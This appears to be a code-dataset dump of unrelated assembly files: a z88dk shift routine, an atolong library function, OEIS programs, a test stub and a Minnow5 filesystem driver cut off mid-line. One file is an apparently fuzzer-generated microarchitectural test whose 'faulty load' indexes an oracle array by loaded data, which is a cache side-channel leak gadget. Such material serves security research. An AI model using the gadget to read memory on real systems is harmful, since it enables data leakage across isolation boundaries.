hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
e023838cdd655e09b6d05b9706d2811c1e1ecd84
891
asm
Assembly
libsrc/_DEVELOPMENT/l/z80/longlong/fast/l_fast_lsr_dehldehl.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/l/z80/longlong/fast/l_fast_lsr_dehldehl.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/l/z80/longlong/fast/l_fast_lsr_dehldehl.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_l PUBLIC l_fast_lsr_dehldehl EXTERN l_lsr_dehl EXTERN error_lznc l_fast_lsr_dehldehl: ; logical shift right 64-bit number ; ; enter : dehl'dehl = 64-bit number ; a = shift amount ; ; exit : dehl'dehl = dehl'dehl >> a ; ; uses : af, b, de, hl, de', hl' or a ret z sub 32 jr c, shift_64 ; shift at least 32 bits call error_lznc exx jp l_lsr_dehl shift_64: add a,32 loop: sub 8 jr c, fine_shift ld b,a exx ld a,l ld l,h ld h,e ld e,d ld d,0 exx ld l,h ld h,e ld e,d ld d,a ld a,b jr loop fine_shift: add a,8 ret z ld b,a ld a,e shift_loop: exx srl d rr e rr h rr l exx rr d rra rr h rr l djnz shift_loop ld e,a ret
9.684783
39
0.510662
60877a417f18149d96171a6aee68b90e2fdf91a0
5,143
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1411.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1411.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1411.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %rax push %rcx push %rdi push %rsi lea addresses_A_ht+0xb06d, %r15 nop nop nop nop nop mfence movups (%r15), %xmm5 vpextrq $0, %xmm5, %rcx nop nop nop cmp %rdi, %rdi lea addresses_A_ht+0x1a605, %rsi lea addresses_A_ht+0xbafd, %rdi clflush (%rsi) nop sub %r14, %r14 mov $67, %rcx rep movsq sub %rdi, %rdi lea addresses_WT_ht+0x7f7d, %rsi lea addresses_D_ht+0x18f1d, %rdi nop nop nop nop nop and %rax, %rax mov $124, %rcx rep movsq nop nop nop add %rcx, %rcx lea addresses_A_ht+0x1014d, %rax nop nop nop nop cmp %r13, %r13 movb (%rax), %cl nop nop and $25079, %rdi lea addresses_D_ht+0xa93d, %r13 and %rsi, %rsi mov $0x6162636465666768, %rax movq %rax, %xmm1 vmovups %ymm1, (%r13) nop xor %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rax pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r9 push %rbx push %rsi // Faulty Load lea addresses_WC+0x577d, %r10 add %r9, %r9 mov (%r10), %rbx lea oracles, %r13 and $0xff, %rbx shlq $12, %rbx mov (%r13,%rbx,1), %rbx pop %rsi pop %rbx pop %r9 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': True, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}} {'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
46.333333
2,999
0.659732
3b476f0bc0d025c232ac6c6ace5626281569e360
9,019
asm
Assembly
atolong.asm
shaochenren/Assembly-swap
8c0e8fd71515748ce8edd0a3560585c53a94ea1f
[ "Apache-2.0" ]
null
null
null
atolong.asm
shaochenren/Assembly-swap
8c0e8fd71515748ce8edd0a3560585c53a94ea1f
[ "Apache-2.0" ]
null
null
null
atolong.asm
shaochenren/Assembly-swap
8c0e8fd71515748ce8edd0a3560585c53a94ea1f
[ "Apache-2.0" ]
null
null
null
;shaochenren ;**************************************************************************************************************************** ;Program name: "atolong". This is a single function distributed without accompanying software. This function converts a * ;null-terminated ascii string containing chars in the range '0' .. '9' to the corresponding numeric integer value. * ;Copyright (C) 2020 Floyd Holliday * ; * ;This is a library function distributed without accompanying software. * ;This program is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public * ;License version 3 as published by the Free Software Foundation. This program is distributed in the hope that it will be * ;useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.* ;See the GNU General Public License for more details. A copy of the GNU Lesser General Public License 3.0 should have been * ;distributed with this function. If the LGPL does not accompany this software then it is available here: * ;<https:;www.gnu.org/licenses/>. * ;**************************************************************************************************************************** ; ; ;========1=========2=========3=========4=========5=========6=========7=========8=========9=========0=========1=========2=========3** ; ;Author information ; Author name: Floyd Holliday ; Author email: holliday@fullerton.edu ; ;This function ; Function name: atolong ; Programming languages: X86 ; Syntax: Intel ; Date program began: 2020-Sep-2 ; Date of last update: 2020-Sep-6 ; Comments reorganized: 2020-Sep-25 ; Assemble: nasm -f elf64 -o atol.o atol.asm ; Classification: Library ; Library functions are not specific to any one application program. They are stored on a server and are available for re-use ; in the development of future applications. ; ;Purpose ; The purpose of this program is to convert a null-terminated array of ascii char containing only chars in the range ; '0' .. '9' to the corresponding numeric value. ; ;Names ; The function "atolong" was intended to be called atol, however there already is a function in the C++ standard library ; with that name. To avoid any possible conflict this function received the longer name, namely: atolong. A simple web ; search will produce lots of information about the original atol. ; ;References: ; Jorgensen: X86-64 Assembly Language Programming with Ubuntu (free download) ; ;Prototype of this function in C++: ; extern "C" long atolong(char []); ; ;How to call atolong from C++: ; == Place prototype of atolong at the beginning of the caller function: extern "C" long atolong(long *); ; == An array of char must exist such as char num[256]; ; == Declare a long such as: long mynumber; ; == Call the function: mynumber = atolong(num); ; ;How to call atolong from C: ; == Place prototype of atolong at the beginning of the caller function: long atolong(long *); ; == An array of char must exist such as char num[256]; ; == Declare a long such as: long mynumber; ; == Call the function: mynumber = atolong(num); ; ;How to call atolong from X86: ; == Declare atolong to be external: extern atolong ; == You need a register that holds a valid memory address. One such example is rsp; another is an array declared in .bss ; == Make the call setup block: ; == mov rax,0 ; == mov rdi,rsp or mov rdi,<name of array in bss> ; == call atolong ; == mov r12,rax ;Save the converted number in a safer register like r14 ;========1=========2=========3=========4=========5=========6=========7=========8=========9=========0=========1=========2=========3** ; ; ; ;===== Begin code area ======================================================================================================== ;Assembler directives base_number equ 10 ;10 base of the decimal number system ascii_zero equ 48 ;48 is the ascii value of '0' null equ 0 minus equ '-' extern printf ;External C++ function for writing to standard output device extern scanf ;External C++ function for reading from the standard input device global atolong ;This makes atolong callable by functions outside of this file. segment .data ;Place initialized data here ;This segment is empy segment .bss ;Declare pointers to un-initialized space in this segment. ;This segment is empty ;============================================================================================================================== ;===== Begin the executable code here. ;============================================================================================================================== segment .text ;Place executable instructions in this segment. atolong: ;Entry point. Execution begins here. ;The next two instructions should be performed at the start of every assembly program. push rbp ;This marks the start of a new stack frame belonging to this execution of this function. mov rbp, rsp ;rbp holds the address of the start of this new stack frame. ;The following pushes are performed for safety of the data that may already be in the remaining GPRs. ;This backup process is especially important when this module is called by another asm module. It is less important when called ;called from a C or C++ function. push rbx push rcx push rdx push rdi push rsi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 pushf ;Designate the purpose of selected registers: r8, r9, r10 mov r8, rdi ;Copy the pointer to char data to r8 mov r9, 0 ;r9 = array index mov r10, 0 ;r10 = long integer; final answer will be here. ;The first byte in the array may be '+' or '-', which are valid numeric characters. ;We need to check for the presence of a leading sign. cmp byte [r8+1*0], '+' ;Check for leading plus sign jne next_comparison mov r9, 1 jmp begin_loop next_comparison: cmp byte [r8+1*0], '-' ;Check for leading minus sign jne begin_loop mov r9, 1 begin_loop: cmp byte [r8+1*r9], null ;Check the termination condition of the loop je loop_finished mov rax, base_number mul r10 mov r10, rax ;This is the instuction we want to perform: "add r10, byte [r8+1*r9]". But the problem is that the ;sizes of operands do not match. You cannot add a 1-byte number to an 8-byte number. However, the ;problem can be fixed by using the extension instructions documented on page 77 of the Jorgensen textbook. mov al, byte [r8+1*r9] ;The 1-byte number has been copied to al (1-byte register) cbw ;The 1-byte number in al has been extended to 2-byte number in ax cwde ;The 2-byte number in ax has been extended to 4-byte number in eax cdqe ;The 4-byte number in eax has been extended to 8-byte number in rax ;Now addition is possible add r10, rax ;To students in 240 class: wasn't that simply great fun? sub r10, ascii_zero ;A declared constant is compatible with various sizes of registers; explained in Jorgensen. inc r9 jmp begin_loop loop_finished: ;Set the computed value to negative if needed cmp byte [r8+1*0], minus ;Check for leading minus sign jne positive neg r10 positive: mov rax, r10 ;================================================================================================================================== ;Epilogue: restore data to the values held before this function was called. popf pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rsi pop rdi pop rdx pop rcx pop rbx pop rbp ;Now the system stack is in the same state it was when this function began execution. ret ;Pop a qword from the stack into rip, and continue executing.. ;========== End of module atol.asm ================================================================================================ ;========1=========2=========3=========4=========5=========6=========7=========8=========9=========0=========1=========2=========3**
47.468421
133
0.555383
eab03f9a267df62718b2284b066aeb9907f619b9
865
asm
Assembly
programs/oeis/141/A141987.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/141/A141987.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/141/A141987.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A141987: Primes congruent to 11 mod 29. ; 11,127,359,823,881,997,1171,1229,1693,1867,2099,2273,2389,2447,2621,2969,3259,3433,3491,3607,4013,4129,4651,4999,5231,5347,5521,5869,5927,6043,6101,6217,6449,6971,7841,8363,8537,9001,9059,9349,9697,9871,9929,10103,10567,10799,10973,11321,11437,11959,12539,12713,12829,13003,13177,13757,13873,13931,14221,14627,15091,15149,15439,15497,15671,15787,16193,16657,16831,16889,18049,18223,18397,18803,18919,19267,19441,19963,20021,20369,20543,20717,21529,21587,22051,22109,22283,22573,22921,23269,23327,24023,24197,24371,25183,25357,25589,25763,26053,26111 mov $2,$0 add $2,1 pow $2,4 lpb $2 add $1,10 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,19 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe div $1,2 sub $1,22 mul $1,2 add $1,27 mov $0,$1
36.041667
551
0.730636
b8ed638739348ef92fb2519c52ce78f477557566
110
asm
Assembly
8088/xtserver/testcases/bios.asm
reenigne/reenigne
c3eb8b31d7964e78bbe44908987d4be052a74488
[ "Unlicense" ]
92
2015-04-10T17:45:11.000Z
2022-03-30T17:58:51.000Z
8088/xtserver/testcases/bios.asm
MS-DOS-stuff/reenigne
0a113990aef398550c6f14d1c7a33af1cb091887
[ "Unlicense" ]
2
2017-11-05T07:21:35.000Z
2018-11-04T23:36:13.000Z
8088/xtserver/testcases/bios.asm
MS-DOS-stuff/reenigne
0a113990aef398550c6f14d1c7a33af1cb091887
[ "Unlicense" ]
18
2015-04-11T20:32:44.000Z
2021-11-06T05:19:57.000Z
org 0 cpu 8086 mov dl,0 mov cx,0x2000 mov ax,0xf000 mov ds,ax mov si,0xe000 int 0x66 int 0x67
9.166667
15
0.645455
a7822230c9554092d0a11066a26e89ae8ca9eaf7
353
asm
Assembly
programs/oeis/272/A272928.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/272/A272928.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/272/A272928.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A272928: Partial sums of A147562. ; 0,1,6,15,36,61,98,147,232,321,422,535,684,845,1042,1275,1616,1961,2318,2687,3092,3509,3962,4451,5048,5657,6302,6983,7772,8597,9530,10571,11936,13305,14686,16079,17508,18949,20426,21939,23560,25193,26862,28567,30380 mov $2,$0 seq $0,160799 ; Partial sums of A160410. sub $2,$0 mul $2,3 sub $1,$2 div $1,9 mov $0,$1
32.090909
216
0.728045
41bbd34e65f72484022d34b2a25308a2cf27eb69
738
asm
Assembly
oeis/121/A121757.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/121/A121757.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/121/A121757.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A121757: Triangle read by rows: multiply Pascal's triangle by 1,2,6,24,120,720,... = A000142. ; Submitted by Christian Krause ; 1,1,2,1,4,6,1,6,18,24,1,8,36,96,120,1,10,60,240,600,720,1,12,90,480,1800,4320,5040,1,14,126,840,4200,15120,35280,40320,1,16,168,1344,8400,40320,141120,322560,362880,1,18,216,2016,15120,90720,423360,1451520,3265920,3628800,1,20,270,2880,25200,181440,1058400,4838400,16329600,36288000,39916800,1,22,330,3960,39600,332640,2328480,13305600,59875200,199584000,439084800,479001600,1,24,396,5280,59400,570240,4656960,31933440,179625600,798336000,2634508800,5748019200,6227020800,1,26,468,6864,85800,926640 lpb $0 add $2,1 sub $0,$2 lpe add $1,1 add $1,$0 lpb $0 sub $0,1 mul $1,$2 sub $2,1 lpe mov $0,$1
43.411765
500
0.745257
839dc4034d743c7299b14aa4f3973ca64f182526
20,804
asm
Assembly
Tools/System/Minnow5.asm
jaredwhitney/os3
05e0cda4670da093cc720d0dccbfeb29e788fa0f
[ "MIT" ]
5
2015-02-25T01:28:09.000Z
2021-05-22T09:03:04.000Z
Tools/System/Minnow5.asm
jaredwhitney/os3
05e0cda4670da093cc720d0dccbfeb29e788fa0f
[ "MIT" ]
38
2015-02-10T18:37:11.000Z
2017-10-03T03:08:50.000Z
Tools/System/Minnow5.asm
jaredwhitney/os3
05e0cda4670da093cc720d0dccbfeb29e788fa0f
[ "MIT" ]
2
2016-05-06T22:48:46.000Z
2017-01-12T19:28:49.000Z
;BOOT BLOCK ; jmp short __ ; nop ; dd "MINFS5.0" ;DISK BLOCK ; dd "MINFS5.0" ; dd 0xDEADD15C ; dd null ; dd DISK_DESCRIPTOR ; dd diskSize ; dd rootFolderPointer ; dd attribs ; db... disk nice name ;FOLDER BLOCK ; dd "MINFS5.0" ; dd nextObjectPointer ; dd upperPointer ; dd FOLDER_BLOCK ; dd fileCount ; dd firstFilePointer ; dd attribs ; db... folder nice name ;FILE BLOCK ; dd "MINFS5.0" ; dd nextObjectPointer ; dd upperPointer ; dd FILE_BLOCK ; dd dataSize ; dd firstDataPointer ; dd attribs ; db... file nice name ;DATA BLOCK ; dd "MINFS5.0" ; dd nextObjectPointer ; dd upperPointer ; dd DATA_BLOCK ; db... data ; attribs [see list at the bottom of the file] ; 0: unreadable? ; 1: unwriteable? ; Minnow5.preinit : methodTraceEnter pusha push dword Minnow5.COMMAND_LIST_DISK call iConsole2.RegisterCommand popa methodTraceLeave ret Minnow5.init : methodTraceEnter pusha ; alloc some space for temp reads if not already alloc'd cmp dword [Minnow5._dat], null jne .noalloc mov ebx, 0x203 ; 0x200 (block size) + 3 (safe dword writes) call Guppy2.malloc mov [Minnow5._dat], ebx mov eax, 0 mov bx, 0 mov edx, 0x200 call AHCI.DMAread ; baaaaad! (but works!) .noalloc : call Minnow5.checkDisk cmp dword [Minnow5.inited], true jne .aret call Minnow5.getRootFolder cmp eax, null je .dontGetRootFolderInfo ; mov ebx, [Minnow5._dat] ; call Minnow5.readBlock ; mov ecx, ebx ; add ecx, Minnow5.Block_namePtr ; push ecx ; call iConsole2.Echo ; push dword .COMMA_SPACE_STR ; call iConsole2.Echo ; push dword [ebx+Minnow5.Block_fileCount] ; call iConsole2.EchoDec ; push dword .FILE_COUNT_STR ; call iConsole2.Echo ; push dword newlPointer ; call iConsole2.EchoChar jmp .getRootFolderInfoDone .dontGetRootFolderInfo : push dword .NO_ROOT_FOLDER_FOUND_STR call iConsole2.Echo .getRootFolderInfoDone : .aret : popa methodTraceLeave ret .NO_ROOT_FOLDER_FOUND_STR : db "No root folder present.", 0 .COMMA_SPACE_STR : db ", ", 0 .FILE_COUNT_STR : db " files", 0 Minnow5.checkDisk : methodTraceEnter pusha ; load first sector ; check for 0xEBxy90, "MINFS5.0" ; if not found: give up; it is not a Minnow5 disk ; search every sector afterwords until "MINFS5.0", 0xDEADD15C is found; OR give up if a certain limit is reached (eg:50M) ; congratulations, you've found the disk block! mov dword [Minnow5.filesystemBase], 0 ; this whole section is a really bad idea... mov dword [Minnow5.inited], true mov ebx, [Minnow5._dat] mov eax, 0 call Minnow5.readBlock mov ecx, ebx cmp byte [ecx], 0xEB jne .noMatchBootsector add ecx, 2 cmp byte [ecx], 0x90 jne .noMatchBootsector add ecx, 1 cmp dword [ecx], "MINF" jne .noMatchBootsector add ecx, 4 cmp dword [ecx], Minnow5.SIGNATURE_HIGH jne .noMatchBootsector .searchLoop : inc eax cmp eax, 0x2000 ja .noMatch call Minnow5.readBlock mov ecx, ebx cmp dword [ecx], "MINF" jne .searchLoop add ecx, 4 cmp dword [ecx], Minnow5.SIGNATURE_HIGH jne .searchLoop add ecx, 4 cmp dword [ecx], 0xDEADD15C jne .searchLoop mov [Minnow5.filesystemBase], eax mov ecx, [ebx+Minnow5.Block_byteSize] mov [Minnow5.filesystemSize], ecx ; cannot really validate it with the signature, because if the signature wasn't correct there would have been no match... call Minnow5.validateAndRegenerateRootFolder .remergePoint : popa methodTraceLeave ret .noMatch : popa methodTraceLeave ret .noMatchBootsector : mov ecx, ebx add ecx, 0x1BE mov edx, 4 .partitionLookupLoop : add ecx, 4 mov bl, [ecx] cmp bl, Minnow5.MFS_PARTITION_CODE je .goMountFromPartition add ecx, 0xC dec edx cmp edx, 0x0 ja .partitionLookupLoop mov dword [Minnow5.inited], false jmp .noMatch .goMountFromPartition : add ecx, 4 mov ebx, [ecx] mov [Minnow5.filesystemBase], ebx add ecx, 4 mov ebx, [ecx] mov [Minnow5.filesystemSize], ebx call Minnow5.validateAndRegenerateDiskBlock call Minnow5.validateAndRegenerateRootFolder jmp .remergePoint newlPointer : db 0x0A Minnow5.getDiskBlock : ; return in eax mov eax, -1 cmp dword [Minnow5.inited], true jne .ret mov eax, 0 .ret : ret Minnow5.getRootFolder : ; return in eax methodTraceEnter mov eax, -1 cmp dword [Minnow5.inited], true jne .ret push ebx mov eax, 0 mov ebx, [Minnow5._dat] call Minnow5.readBlock mov eax, [ebx+Minnow5.Block_innerPointer] pop ebx .ret : methodTraceLeave ret Minnow5.findFreeBlock : ; return in ebx methodTraceEnter push eax mov eax, -1 .searchLoop : inc eax mov ebx, [Minnow5._dat] call Minnow5.readBlock cmp dword [ebx+Minnow5.Block_signatureLow], "MINF" jne .foundMatch cmp dword [ebx+Minnow5.Block_signatureHigh], Minnow5.SIGNATURE_HIGH je .searchLoop .foundMatch : mov ebx, eax pop eax methodTraceLeave ret Minnow5.readBlock : ; eax = block, ebx = buffer methodTraceEnter cmp dword [Minnow5.inited], true jne .ret pusha add eax, [Minnow5.filesystemBase] cmp dword [Minnow5.interface], Minnow5.DRIVE_AHCI je Minnow5.readBlockAHCI mov [rmATAdata.lowP], eax mov dword [rmfunc], realModeAtaLoad call realModeExec mov esi, 0x7c00 mov edi, ebx mov ecx, 0x200 .copyLoop : mov edx, [esi] mov [edi], edx sub ecx, 4 add esi, 4 add edi, 4 cmp ecx, 0 ja .copyLoop .aret : popa .ret : methodTraceLeave ret Minnow5.readBlockAHCI : mov ecx, ebx xor bx, bx adc bx, 0 mov edx, 0x200 call AHCI.DMAreadToBuffer jmp Minnow5.readBlock.aret Minnow5.writeBlock : ; eax = block, ebx = buffer methodTraceEnter cmp dword [Minnow5.inited], true jne .ret pusha add eax, [Minnow5.filesystemBase] cmp dword [Minnow5.interface], Minnow5.DRIVE_AHCI je Minnow5.writeBlockAHCI mov esi, ebx mov edi, 0x7c00 mov ecx, 0x200 .copyLoop : mov edx, [esi] mov [edi], edx sub ecx, 4 add esi, 4 add edi, 4 cmp ecx, 0 ja .copyLoop mov [rmATAdata.lowP], eax mov dword [rmfunc], realModeAtaSave call realModeExec .aret : popa .ret : methodTraceLeave ret Minnow5.writeBlockAHCI : mov ecx, ebx xor bx, bx adc bx, 0 mov edx, 0x200 call AHCI.DMAwriteNoAlloc jmp Minnow5.readBlock.aret Minnow5.setInterface : ; eax = interface methodTraceEnter pusha ;mov dword [Minnow5.inited], false ; sadly this still needs to stay inited... cmp eax, Minnow5.DRIVE_AHCI jne .noAHCIcheck mov bl, [AHCI_STATUS] cmp bl, 0x0 je .rret .noAHCIcheck : mov [Minnow5.interface], eax call Minnow5.init .rret : popa methodTraceLeave ret Minnow5.validateAndRegenerateDiskBlock : pusha call Minnow5.getDiskBlock mov ebx, [Minnow5._dat] call Minnow5.readBlock cmp dword [ebx+Minnow5.Block_signatureLow], "MINF" jne .needsRegen cmp dword [ebx+Minnow5.Block_signatureHigh], Minnow5.SIGNATURE_HIGH jne .needsRegen jmp .aret .needsRegen : mov dword [ebx+Minnow5.Block_signatureLow], "MINF" mov dword [ebx+Minnow5.Block_signatureHigh], Minnow5.SIGNATURE_HIGH mov dword [ebx+Minnow5.Block_discSignature], 0xDEADD15C mov dword [ebx+Minnow5.Block_type], Minnow5.BLOCK_TYPE_DISK ; if [filesystemSize] is 0, set to -1 (filesystem covers the entire medium) mov ecx, [Minnow5.filesystemSize] cmp ecx, null jne .nfixnull mov ecx, -1 mov [Minnow5.filesystemSize], ecx .nfixnull : mov [ebx+Minnow5.Block_byteSize], ecx mov dword [ebx+Minnow5.Block_innerPointer], null mov dword [ebx+Minnow5.Block_upperPointer], null mov dword [ebx+Minnow5.Block_attribs], 0 mov dword [ebx+Minnow5.Block_namePtr+0x0], "GENE" mov dword [ebx+Minnow5.Block_namePtr+0x4], "RATE" mov dword [ebx+Minnow5.Block_namePtr+0x8], "D_DI" mov byte [ebx+Minnow5.Block_namePtr+0xC], "S" mov byte [ebx+Minnow5.Block_namePtr+0xD], "C" mov byte 